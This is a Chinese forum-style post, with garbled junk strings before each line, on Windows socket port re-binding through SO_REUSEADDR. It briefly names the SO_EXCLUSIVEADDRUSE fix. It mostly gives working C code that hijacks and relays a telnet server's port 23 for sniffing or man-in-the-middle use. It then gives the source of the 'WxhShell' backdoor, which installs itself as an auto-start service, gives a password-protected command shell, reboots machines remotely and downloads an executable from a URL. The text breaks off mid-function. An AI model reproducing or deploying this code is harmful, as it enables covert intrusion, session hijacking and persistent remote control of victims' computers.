在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XUVBD;"f! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%bp'`B= kO/YO)g saddr.sin_family = AF_INET;
bfq%.<W yZ-Ql11 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>H5_,A}f }SFmv},Ij bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8b"vXNB.f ':|E$@$W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
,`!>.E. \E1CQP- 这意味着什么?意味着可以进行如下的攻击:
=F% <W7 1*?XI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~^/BAc KBDNK_7A 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&})Zqc3Lqk yu}T><Wst 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,&iEn}xG7i q*<FfO=eQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#y8Esik |JiN;
O+K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j9/hZqo siOyp] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KwY6pF* 8/@*6J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P N(<=v&E JMfv|>= #include
*XI-
nH #include
Et'&}NjI #include
\I7&F82e #include
*QT7\ht3 DWORD WINAPI ClientThread(LPVOID lpParam);
t(99m=9> int main()
19bqz ) {
b y$S#ef WORD wVersionRequested;
S;SI#Vg@ DWORD ret;
!KtP> `8 WSADATA wsaData;
/~{fPS BOOL val;
xB_78X1 SOCKADDR_IN saddr;
S]ed96V v SOCKADDR_IN scaddr;
)0\D1IFJ int err;
"td ,YVK SOCKET s;
]u\-_PP SOCKET sc;
K_Kz8qV.? int caddsize;
To;r#h HANDLE mt;
yPf,GB" DWORD tid;
~X-v@a wVersionRequested = MAKEWORD( 2, 2 );
|[@v+koq err = WSAStartup( wVersionRequested, &wsaData );
0?''v>% if ( err != 0 ) {
:cA8[! printf("error!WSAStartup failed!\n");
CN6b982& return -1;
;73{n*a$ }
8aY}b($*ZI saddr.sin_family = AF_INET;
m[%P3 q4niA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
WS+uK b^< &S[>*+}{+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(Bss%\ saddr.sin_port = htons(23);
+;a\
gF^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c^~R%Bx {
km,@yU printf("error!socket failed!\n");
nu X`>Oy return -1;
*>T@3G.{Rm }
zC rM~ val = TRUE;
/~+j[oB //SO_REUSEADDR选项就是可以实现端口重绑定的
op,mP0b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#;\tgUQ {
in>?kbaG+ printf("error!setsockopt failed!\n");
Np?/r} return -1;
#U6~U6@ }
lrmz'M' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v{) *P.E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<%"CQT6g% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8Ib5 ~V/?/J$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h@{CMe {
[ak[ZXC, ret=GetLastError();
qSQsY:]j0 printf("error!bind failed!\n");
{'o\#4Wk return -1;
3JZ9 G79H }
zrV~7$HL listen(s,2);
J6J;
!~>_ while(1)
mSp;(oQ {
CMfR&G,) caddsize = sizeof(scaddr);
-V52?Hq //接受连接请求
Px`z$~*B: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2*Mu"v, if(sc!=INVALID_SOCKET)
e9eBD {
;h4w<OqcM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
| EFbT> if(mt==NULL)
8'0KHn{# {
`7_s@4: printf("Thread Creat Failed!\n");
`%.x0~ih break;
k&o1z'<C }
gP=@u. }
Gx-tPW} CloseHandle(mt);
o
vX9 }
ETaLE[T%1 closesocket(s);
~ym-Szo WSACleanup();
&Fl*, return 0;
:2MHx}]il }
5dhT?/qvc DWORD WINAPI ClientThread(LPVOID lpParam)
xilA`uw`1 {
HNV"'p; SOCKET ss = (SOCKET)lpParam;
Cc` )P>L SOCKET sc;
Q46sPMH+_ unsigned char buf[4096];
M9wj
};vy SOCKADDR_IN saddr;
UzUt=s!^H long num;
X-5&c$hv DWORD val;
zqb3<WP" DWORD ret;
WQ1*)h8,9 //如果是隐藏端口应用的话,可以在此处加一些判断
^/jALA9! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}"AGX saddr.sin_family = AF_INET;
E"b"VB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
vU,
]UJ} saddr.sin_port = htons(23);
} mEsb? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x2z%J,z@4 {
>=ng? printf("error!socket failed!\n");
g/ x\#W return -1;
G
4C 7 }
i)+2?<] val = 100;
+FYhDB~m if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QfsTUAfR {
e[J0+
x#;r ret = GetLastError();
{1]Of'x' return -1;
ZTP&*+d }
df!n.&\y! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X"
;ly0Mb {
44_CT?t< ret = GetLastError();
.p(~/MnO return -1;
ceGo:Aa<) }
JS! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I)F3sS45} {
#zc{N"! printf("error!socket connect failed!\n");
j?P8&Fm< closesocket(sc);
D[R<H(( closesocket(ss);
xnG,1doa return -1;
3}X; WE ` }
|%-:qk4rG while(1)
oj~0zJI {
Y7
`i~K; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)qx,>PL //如果是嗅探内容的话,可以再此处进行内容分析和记录
7eekTh, ? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U^{'"x+ num = recv(ss,buf,4096,0);
I4^}C;p0? if(num>0)
$NhKqA`0 send(sc,buf,num,0);
;&G8e*bM2 else if(num==0)
+BE_K_56 break;
C~a-R# num = recv(sc,buf,4096,0);
\%N |
X if(num>0)
p*Hbc|?{Q& send(ss,buf,num,0);
X?Mc"M else if(num==0)
bol#[_~ break;
C/x<_VJzN/ }
x?MSHOia`P closesocket(ss);
y~pJ|E closesocket(sc);
e6WKZ~
vo return 0 ;
6v}WdK }
{9C+=v? MPmsW& A1(=7ZKz ==========================================================
2u|}gZts GwaU7[6 下边附上一个代码,,WXhSHELL
G'
'l,\3 h_:|H8t;w ==========================================================
1V37%
D V_"K #include "stdafx.h"
?H_'L4Wv A9HJWKO #include <stdio.h>
7I_lTu( #include <string.h>
Y l1sAf/ #include <windows.h>
s8]9OG3g #include <winsock2.h>
csF!*!tta #include <winsvc.h>
#7~M1/eH=t #include <urlmon.h>
C4~`3Mk .OC{,f+ #pragma comment (lib, "Ws2_32.lib")
DIurFDQSS #pragma comment (lib, "urlmon.lib")
^?)o,djY& }$ZcC_ #define MAX_USER 100 // 最大客户端连接数
r&t)%R@q #define BUF_SOCK 200 // sock buffer
=?/RaK/
w #define KEY_BUFF 255 // 输入 buffer
*n=NBkq%/! xW;-=Q #define REBOOT 0 // 重启
GKNH{|B$D #define SHUTDOWN 1 // 关机
l[q%1-N $Z;?d@6yI #define DEF_PORT 5000 // 监听端口
-Vi"hSsUP R1DXi #define REG_LEN 16 // 注册表键长度
U{2UKD@PM #define SVC_LEN 80 // NT服务名长度
k~st;FO ,S i23S\ // 从dll定义API
OO:^#Mvv5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e)~7pXYV) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
t%n3~i4X: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0?",dTf3i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wcT0XXh {^xp?zpV // wxhshell配置信息
XHu2G t_ struct WSCFG {
t$z
FsFTQ int ws_port; // 监听端口
D$RQD{* char ws_passstr[REG_LEN]; // 口令
9
1r"-%(r int ws_autoins; // 安装标记, 1=yes 0=no
^p0BeSRiy; char ws_regname[REG_LEN]; // 注册表键名
FasA f(3 char ws_svcname[REG_LEN]; // 服务名
iraO/KhD*3 char ws_svcdisp[SVC_LEN]; // 服务显示名
bS+by'Ea1W char ws_svcdesc[SVC_LEN]; // 服务描述信息
Dm1;mR S+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y+XB int ws_downexe; // 下载执行标记, 1=yes 0=no
n(gw%w+\7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0vs9# <&V char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q=5#t~? +FWkhmTv };
Gv!*
Qk4 ~$N%UQn?b# // default Wxhshell configuration
~5HI9A4^ struct WSCFG wscfg={DEF_PORT,
0.+"K} "xuhuanlingzhe",
uOqWMRsoi 1,
1CiK&fQ'
"Wxhshell",
*FkG32k "Wxhshell",
| 1Fy "WxhShell Service",
PEPBnBA&1 "Wrsky Windows CmdShell Service",
mlR*S<Z "Please Input Your Password: ",
!TRJsL8 1,
a r#p7N "
http://www.wrsky.com/wxhshell.exe",
eyZ /%4'q "Wxhshell.exe"
7mSVL\\^ };
Elt=/,v`! JBCcR,\kM* // 消息定义模块
.VVY]>bJg@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{ZH9W char *msg_ws_prompt="\n\r? for help\n\r#>";
%p}_4+[;
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
pC2r{- char *msg_ws_ext="\n\rExit.";
oY:6a char *msg_ws_end="\n\rQuit.";
J 3fcnI char *msg_ws_boot="\n\rReboot...";
zA&lJD$0 char *msg_ws_poff="\n\rShutdown...";
1.0S>+^JE char *msg_ws_down="\n\rSave to ";
Z,Z34:- DYU+?[J char *msg_ws_err="\n\rErr!";
n\}!'>d' char *msg_ws_ok="\n\rOK!";
|Ebwl] X2 ~O~c^fLH(B char ExeFile[MAX_PATH];
WlF"[mU- int nUser = 0;
M$z.S0" HANDLE handles[MAX_USER];
&j,rq?eh$ int OsIsNt;
_yyQ^M/ Gw*n,*pz SERVICE_STATUS serviceStatus;
:0.Z/s - SERVICE_STATUS_HANDLE hServiceStatusHandle;
adh=Kp e!w /a\6&Eb // 函数声明
yAoJ?<4^W int Install(void);
:luVsQ int Uninstall(void);
h5&l#>8& int DownloadFile(char *sURL, SOCKET wsh);
NamBJ\2E1[ int Boot(int flag);
&inu mc void HideProc(void);
8H3|i7.1h int GetOsVer(void);
@eN x:} int Wxhshell(SOCKET wsl);
)eNR4nF void TalkWithClient(void *cs);
maLKUSgo int CmdShell(SOCKET sock);
uYlC*z{ int StartFromService(void);
}u&.n
pc int StartWxhshell(LPSTR lpCmdLine);
ewqfs/ ^0R.U+?+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<8[BB7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
BhkJ>4# nZa.3/7dJ // 数据结构和表定义
z!5^UD8"W SERVICE_TABLE_ENTRY DispatchTable[] =
^c}Z$V {
k7Fa+Y)K7 {wscfg.ws_svcname, NTServiceMain},
~#dNGWwG {NULL, NULL}
2H_|Attoi };
>[=q9k ,V!s w5_5m // 自我安装
5 fjeBfy int Install(void)
ja}_u}: {
4;_{* U- char svExeFile[MAX_PATH];
7</&=lly HKEY key;
Z9s tB>? strcpy(svExeFile,ExeFile);
]lzt"[ [K;J#0V+&L // 如果是win9x系统,修改注册表设为自启动
<Brq7:n| if(!OsIsNt) {
@gQ{*dN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}.Ht=E] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JS r& S[ RegCloseKey(key);
1FUadSB5) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HcA;'L?Dw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9@
6y(#s RegCloseKey(key);
)_OKw?Zi return 0;
z%;b-PpS }
gmy$_4+6o }
F0%FX`b{{ }
1`N q
K else {
}3F8[Td.~N FyX\S= // 如果是NT以上系统,安装为系统服务
m(E-?VMHo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f(
5c if (schSCManager!=0)
ps"DL4* {
Ln0rm9FV- SC_HANDLE schService = CreateService
Y~vI@$<~( (
8[U1{s:J schSCManager,
3>%rm%ffE wscfg.ws_svcname,
d0~F|j\# wscfg.ws_svcdisp,
`3^*K/K\ SERVICE_ALL_ACCESS,
u?Jw) ` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n1`D:XrE SERVICE_AUTO_START,
W~E%Eq3 SERVICE_ERROR_NORMAL,
QWv+Ja svExeFile,
i
~fkjn NULL,
Z 9mY*}:U~ NULL,
6wx;grt'Z NULL,
*|ez |*- NULL,
~;k-/Z" NULL
7udMF3;> );
Vm6G5QwM if (schService!=0)
H#x=eDU|k {
\ Q<c Y< CloseServiceHandle(schService);
7OX5"u!2 CloseServiceHandle(schSCManager);
PI(;t9]b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qz"di~ 7 strcat(svExeFile,wscfg.ws_svcname);
e )l<D) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^AtAfVJN0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:zZK%}G< RegCloseKey(key);
wq!Gj]B return 0;
?9nuL}m!a }
An!1>`8r }
$^?"/;8P5 CloseServiceHandle(schSCManager);
c1M/:*?% }
L5!aLv# }
72R|zR ik)T>rYg0 return 1;
ya3A^&: }
bmVksi2b ,\q9>cZ! // 自我卸载
7{=/rbZT? int Uninstall(void)
FjqoO. {
yjlX@YXnw HKEY key;
\\XvVi:B ra=U, if(!OsIsNt) {
|uId:^{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wUj[c7Y% RegDeleteValue(key,wscfg.ws_regname);
fqA\Rp6Z RegCloseKey(key);
j'FSd*5m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;rYL\`6L RegDeleteValue(key,wscfg.ws_regname);
1=gE,k5H RegCloseKey(key);
<7R\# return 0;
A >< }
u8L%R[#o }
P2pdXNV }
hRTw8-wy: else {
w%R(*,r6 J7q^4M+o: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
@igr~hJ if (schSCManager!=0)
.Nz2K[ {
fVx<f.xuW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
o^FlQy\ if (schService!=0)
U;u@\E@2 {
~kPHf_B;z if(DeleteService(schService)!=0) {
] W39HL CloseServiceHandle(schService);
$q,2VH :Ip CloseServiceHandle(schSCManager);
-qaJ@T+J+7 return 0;
5H#f;L\k }
*Z\B9mx CloseServiceHandle(schService);
U8Z(=*Z3 }
.1<QB{4~v CloseServiceHandle(schSCManager);
P}hHx<L }
t=o2:p6& }
|N, KA|Gdq I WKq_Zjkz return 1;
F,+nj?i! }
vFm8 T58 7 yXP+$oox9 // 从指定url下载文件
/ap3>xkt int DownloadFile(char *sURL, SOCKET wsh)
^k6 A,Ak {
nR'!Ui HRESULT hr;
OP0KK^# char seps[]= "/";
"j-Z<F]] char *token;
;:2]++G char *file;
F!.Z@y P char myURL[MAX_PATH];
Qc1NLU9: char myFILE[MAX_PATH];
KSkT6_< 0N.B=j| strcpy(myURL,sURL);
oS3'q\ token=strtok(myURL,seps);
1) 7n
( while(token!=NULL)
BUB$k7{z {
#4UKkd file=token;
mU@pRjq= token=strtok(NULL,seps);
UW%zR5q }
1;8=,& D! TFb E GetCurrentDirectory(MAX_PATH,myFILE);
ramYSX@ strcat(myFILE, "\\");
N?7MYP strcat(myFILE, file);
MYNNeO send(wsh,myFILE,strlen(myFILE),0);
VwJ A send(wsh,"...",3,0);
DmzK* O{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Kz>bfq7 if(hr==S_OK)
iY@wg 8ry return 0;
S&(MR%". else
$>^DkrOd return 1;
%S*<2F9
#o`y<1rN }
i2.g}pM.A u~b;m
// 系统电源模块
oA/[>\y int Boot(int flag)
LFvO[& {
L_4c~4 HANDLE hToken;
; '6`hZ TOKEN_PRIVILEGES tkp;
WEy$SN+P {3,_i66 if(OsIsNt) {
u}_,4J
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lGoP(ki LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
TOF_m$@# tkp.PrivilegeCount = 1;
4mHR+SZy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@ ;T|`Y=7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b0X<)1O if(flag==REBOOT) {
1M@OBfB8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
VZveNz@]r return 0;
Rhw- 49AWx }
%vF,wQC else {
l-^2>K[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
s"OP[YEke/ return 0;
9mA6nmp }
HrOq>CSR }
6gfn5G else {
=n@"lY u[ if(flag==REBOOT) {
.,({&L